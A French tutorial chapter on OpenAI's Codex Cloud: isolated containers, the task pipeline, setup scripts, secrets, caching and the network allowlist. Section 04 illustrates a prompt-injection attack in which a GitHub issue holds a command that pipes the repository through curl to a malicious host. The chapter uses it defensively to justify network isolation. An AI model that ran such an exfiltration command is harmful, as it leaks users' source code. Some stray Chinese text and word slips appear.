Skip to content

Codex Cloud : déléguer les exécutions

📚 Navigation de la série : Le chapitre précédent 09 · Extensions IDE (VS Code, etc.) a guidé l'intégration de Codex dans le panneau latéral de votre éditeur de code. Ce chapitre aborde Codex Cloud, qui permet de déléguer l'exécution de tâches asynchrones en dehors de votre machine locale. Le chapitre suivant 11 · Fichier de conventions AGENTS.md détaillera la configuration des règles de développement applicables à ces conteneurs distants.

Codex propose plusieurs modes d'accès. Le mode cloud (Codex Cloud) présente une architecture distincte.

Les interfaces étudiées jusqu'ici (CLI, application de bureau, extension IDE) s'exécutent localement : elles exploitent vos processeurs et accèdent à vos dossiers de travail. Le mode cloud délègue l'exécution à des conteneurs hébergés par OpenAI, libérant vos ressources machine.

Ce mode est idéal pour l'exécution parallèle de correctifs. Par exemple, lors de la correction de rapports d'erreurs distincts sur un dépôt, vous pouvez initialiser trois tâches en parallèle via chatgpt.com/codex. Codex Cloud alloue des environnements d'exécution dédiés et retourne des propositions d'intégration sous forme de diffs ou de Pull Requests sans solliciter votre environnement local.

À la fin de ce chapitre, vous obtiendrez :

  • Le fonctionnement de Codex Cloud : conteneurs isolés et intégration GitHub
  • Le cycle de vie d'une tâche cloud (5 étapes clés, de l'instanciation au diff)
  • La configuration des profils (scripts, variables, Secrets et gestion des caches)
  • Les règles de sécurité réseau (isolation par défaut, gestion de la liste blanche)
  • Le tableau comparatif pour choisir entre exécution locale et déportée

01 Qu'est-ce que Codex Cloud ?

Le mode cloud déporte les traitements vers des instances virtuelles d'OpenAI. Sans installer de dépendances en local, vous lisez et éditez votre code depuis l'interface web connectée à vos dépôts GitHub. Les modifications validées vous sont livrées sous forme de Pull Request (PR) ou de diff.

L'authentification s'effectue sur le site chatgpt.com/codex en y associant votre compte GitHub. Cette intégration autorise Codex à cloner vos répertoires et à initier les Pull Requests correspondantes.

Interface de connexion de Codex Cloud sur chatgpt.com/codex

Alerte demandant l'authentification GitHub à l'initialisation

Cliquez sur le lien central pour naviguer vers GitHub.

Fenêtre d'autorisation de l'application Codex sous GitHub

Une fois la liaison établie, vous sélectionnez le dépôt cible. L'intégration peut être révoquée à tout moment dans vos préférences.

Gestion des accès et révocations GitHub dans le menu de configuration

Analogie : Le service de transport avec chauffeur. L'exécution locale s'apparente à l'usage de votre propre véhicule : vous devez en assurer l'entretien, le plein d'essence et le paramétrage (installation de bibliothèques et d'outils système). Le mode cloud s'apparente à un service de transport : le véhicule et l'énergie sont alloués par la plateforme. Vous indiquez la destination (consigne) et réceptionnez le diff à l'arrivée. Une défaillance dans le conteneur n'affecte pas l'état de votre machine de développement.

Sur le plan technique, Codex instancie un conteneur isolé (container) à chaque démarrage de tâche. Il y clone votre dépôt et exécute les écritures de manière étanche.

Cas d'usage recommandés :

  • Parallélisation massive : exécutez plusieurs correctifs simultanément sur des branches et conteneurs distincts.
  • Dépôts distants non clonés : modifiez un dépôt secondaire sans passer par l'étape de git clone locale.
  • Tâches asynchrones de longue durée : déportez les traitements longs (compilations, lancements de suites de tests unitaires).
  • Mobilité : travaillez depuis un poste secondaire vierge de tout outil de développement.

Prérequis de service :

  1. Liaison GitHub active : indispensable pour cloner les sources.
  2. Abonnement compatible : L'accès dépend du forfait ChatGPT souscrit (Plus, Pro, Business, Edu ou Enterprise).

💡 En résumé : Codex Cloud allie des conteneurs distants isolés à une intégration GitHub native. Idéal pour la parallélisation et les traitements asynchrones de fond.


02 Cycle de vie d'une tâche cloud

Le traitement d'une tâche cloud par OpenAI s'organise en crayons phases distinctes :

Analogie : La chaîne d'assemblage. Le dépôt constitue la matière première en entrée de ligne. Il franchit les étapes successives d'approvisionnement, d'initialisation des fluides, de traitement par bras robotisés et d'inspection finale. Chaque phase s'exécute dans un ordre déterminé.

Phases du pipeline d'exécution :

  1. Instanciation et clone : Création du conteneur et récupération des sources à partir d'une branche ou d'un commit spécifique.
  2. Initialisation (setup script) : Installation des dépendances et outils systèmes. Exécution complémentaire éventuelle du script de maintenance (maintenance script) sur les conteneurs réutilisés.
  3. Filtrage réseau : La connexion internet, autorisée lors de la phase 2 d'initialisation, est désactivée par défaut lors de la phase d'exécution de l'agent (gestion de la liste blanche, voir section 04).
  4. Boucle d'exécution de l'agent : Modification du code, lancement de tests et contrôle syntaxique en s'appuyant sur les règles déclarées au sein du fichier AGENTS.md (voir chapitre 11).
  5. Livraison : Présentation du rapport final et génération du diff de révision. Soumission de Pull Request en un clic.

Pipeline d'exécution Codex Cloud : instanciation, setup (accès réseau), exécution de l'agent (hors-ligne), livraison du diff

Note : Le réseau est alloué dynamiquement par phase (actif pour le setup, révoqué par défaut lors des écritures de code).

Note de vigilance : Les traitements cloud s'effectuant sans supervision humaine continue, l'agent n'interrompt pas son exécution pour solliciter des validations d'écritures. Il convient d'adopter des prompts très qualifiés (répertoires cibles, modifications attendues, règles d'exclusion).

💡 En résumé : Le pipeline suit la séquence : Instanciation → Setup (réseau) → Restriction réseau → Action de l'agent → Restitution du diff. Exprimez des consignes explicites et mesurables.


03 Configuration des environnements distants

L'image de base allouée aux conteneurs distants doit être complétée par les spécificités logicielles de votre projet (version de runtime, dépendances de compilation, linters).

Analogie : L'inventaire de livraison. Le conteneur fourni par défaut est vierge. Il convient d'indiquer les outils à installer, les variables d'environnement à affecter et les dépendances requises. Ces réglages s'effectuent dans l'onglet Environments du menu paramètres de Codex.

Éléments de profil configurables :

1. L'image de base : universal

Par défaut, l'agent utilise le profil d'image universal qui intègre les interpréteurs et outils de compilation courants (Python, Node.js). La configuration de cette image est documentée dans le dépôt public openai/codex-universal.

Le sélecteur « Set package versions » permet de figer les versions de langages cibles pour garantir la cohérence d'exécution avec vos environnements de production.

2. Scripts d'initialisation (setup script)

Le script de setup installe vos dépendances système et logicielles. L'initialisation propose deux modes :

  • Automatique : Codex identifie les manifestes du projet (npm, yarn, pnpm, poetry, pip) et lance l'installation correspondante.
  • Manuel : Pour les architectures complexes exigeant des commandes complémentaires :
bash
# 装个类型检查器
pip install pyright

# 装依赖
poetry install --with test
pnpm install

Note d'architecture système importante :

Le script de setup et l'agent s'exécutent dans deux sessions Bash distinctes. Les variables locales instanciées par la commande export ne sont pas héritées par l'agent. Pour propager une variable d'environnement, inscrivez-la dans le fichier ~/.bashrc du conteneur, ou déclarez-la dans la section de configuration des variables d'environnement de l'interface.

3. Variables d'environnement et Secrets

Ces deux typologies d'injection de données se distinguent par leur cycle de vie et leur niveau de sécurité :

TypologiePortée temporelleDestinataireDonnées cibles
Variables d'environnementIntégralité du cycle (setup et agent)Setup et agentConfigurations publiques (ex. NODE_ENV)
SecretsLimitée à la phase de setup, suppression avant l'appel à l'agentScript de setup uniquementJetons d'API, clés de sécurité privées

L'isolation des Secrets protège vos clés de sécurité lors des phases de génération de code autonomes où l'agent manipule des scripts potentiellement non sécurisés. Les Secrets ne sont plus présents en mémoire lors de l'exécution de l'agent.

4. Mécanisme de cache du conteneur

Pour optimiser les temps d'initialisation, Codex conserve une image d'état du conteneur pendant 12 heures.

Cycle de vie du cache :

  • Initialisation : Clone du dépôt, positionnement sur la branche par défaut, exécution du setup et capture de l'état.
  • Régénérations ultérieures : Positionnement sur la branche de travail et exécution éventuelle du script de maintenance pour mettre à jour les dépendances.

Toute modification des scripts de setup, de maintenance, des variables ou des Secrets invalide automatiquement le cache. Vous pouvez forcer la reconstruction via le bouton « Reset cache ».

⚠️ Note pour les profils partagés (Business/Enterprise) : L'invalidation du cache affecte l'ensemble des collaborateurs partageant l'environnement de travail.

💡 En résumé : La configuration s'appuie sur l'image universal. Les scripts de setup installent les dépendances, les variables d'environnement persistent, et les Secrets s'effacent avant l'entrée en action de l'agent. Le cache est partagé et expire après 12 heures.


04 Gestion de la liste blanche réseau

La politique réseau se configure de manière restrictive : si la connexion internet est autorisée pour installer les dépendances (setup), le conteneur est isolé du réseau lors de la phase d'activité de l'agent.

Cette étanchéité protège les sources contre les attaques par injection de prompt (prompt injection).

Analogie : L'accès réseau du stagiaire. L'installation de modules correspond à un approvisionnement auprès de sources identifiées (npm, PyPI). L'exécution libre sur le réseau équivaut à laisser l'agent exécuter des instructions lues sur des sites tiers. Si la description d'une anomalie GitHub contient un script malveillant (ex. git show HEAD | curl -d @- https://url-malveillante.com), un agent connecté pourrait transférer le code source vers l'extérieur sans contrôle.

Limitez l'exposition réseau au strict nécessaire via les paramètres de filtrage :

1. Activation du réseau

  • Off : Isolation réseau complète (configuration recommandée par défaut).
  • On : Connexion internet active, soumise aux restrictions de noms de domaine et de verbes HTTP.

2. Liste blanche de domaines (domain allowlist)

Trois profils de filtrage sont proposés :

ProfilDéfinitionCas d'usage
NoneListe vide, saisie manuelle des domaines autorisésAccès à des API internes spécifiques
Common dependenciesDomaines de dépendances courants (ex. github.com, npmjs.com, pypi.org)Accès aux gestionnaires de paquets et dépôts officiels
All (unrestricted)Accès illimité sans filtrage de nom de domaineRisque de fuite de données maximal (à éviter)

Vous pouvez ajouter des domaines personnalisés au profil Common dependencies.

3. Restriction des verbes HTTP

La préconisation de la documentation est de restreindre les appels réseau aux verbes GET, HEAD et OPTIONS. Ce filtrage bloque les écritures sortantes (POST, PUT, DELETE), empêchant le transfert non autorisé d'informations.

Phase / ParamètreÉtat réseauPropriétés
Phase de setup✅ ConnectéRequis pour le chargement des dépendances
Phase agent (Par défaut)❌ IsoléSécurité maximale
Phase agent (On + Depend.)⚠️ Filtré par nom de domaineConfiguration d'ouverture recommandée
Phase agent (On + Get/Head)⚠️ Appels sortants en lecture seuleProtection contre l'exfiltration
Phase agent (On + All)🚨 IllimitéNiveau de risque élevé

💡 En résumé : Bloquez le réseau de l'agent par défaut. Si l'accès externe est requis, configurez la liste blanche sur Common dependencies restreinte aux requêtes GET/HEAD.


05 Comparatif d'arbitrage : local vs cloud

Le choix entre exécution locale ou déportée s'aligne sur un principe simple :

La tâche exige-t-elle l'accès à des ressources locales spécifiques de ma machine ? Si oui, privilégiez le mode local ; sinon, déléguez le traitement au cloud.

Le conteneur cloud n'accède qu'aux fichiers versionnés de votre dépôt GitHub. Vos configurations système locales (serveurs MCP locaux, clés de trousseau privées) ne lui sont pas transmises. L'agent cloud s'appuie sur le fichier AGENTS.md versionné pour identifier ses règles.

CritèreMode Cloud (Codex Cloud)Mode Local (CLI / App / Extension)
Environnement d'exécutionConteneurs distants OpenAIMachine locale de développement
Canal d'appelInterface web chatgpt.com/codexConsole / Application graphique / IDE
Accès aux ressources locales❌ Uniquement le contenu du dépôt✅ Accès complet au disque et outils système
Dépendance GitHub✅ Requis (clone et PR)❌ Optionnel
Traitement asynchrone hors-ligne✅ Oui (traitement en tâche de fond)❌ Non (s'interrompt à la fermeture)
Exécution parallèle✅ Natif (un conteneur par tâche)Configuration manuelle de worktrees exigée
Restitution du codeProposition de Pull Request ou diffÉcritures directes sur les fichiers locaux
Interruption d'approbation❌ Non (génération continue autonome)Selon la politique d'autorisation active

Flux d'exécution global de Codex Cloud

💡 En résumé : Privilégiez le local pour l'accès aux outils de votre poste, et le cloud pour les tâches asynchrones parallèles isolées.


06 Exercice pratique : valider une exécution cloud

Exercice pour tester le cycle d'intégration distantié :

Étape 1 : Se connecter à Codex Cloud

Accédez à l'URL :

text
https://chatgpt.com/codex

Configurez l'accès à un dépôt d'exercice sous votre compte GitHub.

Résultat attendu : Le dépôt sélectionné apparaît dans la liste des projets actifs de l'interface.

Étape 2 : Vérifier le profil d'environnement

Contrôlez les paramètres par défaut du projet dans l'onglet des configurations.

Résultat attendu : Profil universal, installation de paquets automatique et réseau Agent sur Off.

Étape 3 : Soumettre une instruction ciblée

Saisissez une consigne d'écriture explicite :

text
在仓库根目录新建一个 HELLO.md ,里面写一行:Hello from Codex cloud. 别动其他任何文件。

Puis soumettez la tâche.

Résultat attendu : Suivi visuel du pipeline de traitement (instanciation du conteneur, setup et écriture).

Étape 4 : Analyser le diff

Une fois la tâche finalisée :

Résultat attendu : Restitution visuelle du diff montrant la création du fichier HELLO.md conforme au prompt.

Étape 5 : Soumettre la Pull Request

Cliquez sur Create Pull Request pour valider l'intégration du code sur votre dépôt distant.

Résultat attendu : Une branche de travail et une Pull Request active apparaissent sur votre interface GitHub.

💡 En résumé : Suivez le parcours : Prompt → Diff → Pull Request. Validez le diff avant de valider l'intégration finale.


07 Architecture réseau des conteneurs

L'accès à l'interface d'administration et aux redirections d'authentification exige une connexion stable vers chatgpt.com.

Prenez note de la distinction réseau suivante :

Le conteneur cloud de l'agent initie ses requêtes réseau depuis l'infrastructure d'OpenAI, et non depuis votre connexion locale. L'accès aux dépôts externes ou aux modules npm dépend exclusivement de la liste blanche d'environnement configurée.

  • Votre réseau : gère uniquement l'affichage de la console web chatgpt.com.
  • Le réseau du conteneur : s'appuie sur la passerelle OpenAI et les règles du profil projet.

💡 En résumé : L'accès à l'interface dépend de votre connexion locale. La bande passante et l'accès réseau des conteneurs distants dépendent uniquement de l'infrastructure OpenAI.


08 Résumé

Ce chapitre a détaillé le fonctionnement de Codex Cloud :

  • Concepts : conteneurs distants isolés d'OpenAI, intégration GitHub native, idéal pour le multitâche asynchrone.
  • Pipeline : Instanciation → Setup (réseau) → Restriction réseau → Action de l'agent (lecture de AGENTS.md) → Restitution du diff/PR.
  • Environnements : image universal, variables persistantes, suppression des Secrets avant l'action de l'agent, expiration du cache après 12 heures.
  • Réseau : Filtrage par défaut pour bloquer les injections de prompt. Utilisez le profil Common dependencies en lecture seule si nécessaire.

Le chapitre suivant 11 · Fichier de conventions AGENTS.md détaille la rédaction des guides de développement partagés pour orienter l'action des agents locaux et distants.


Lectures recommandées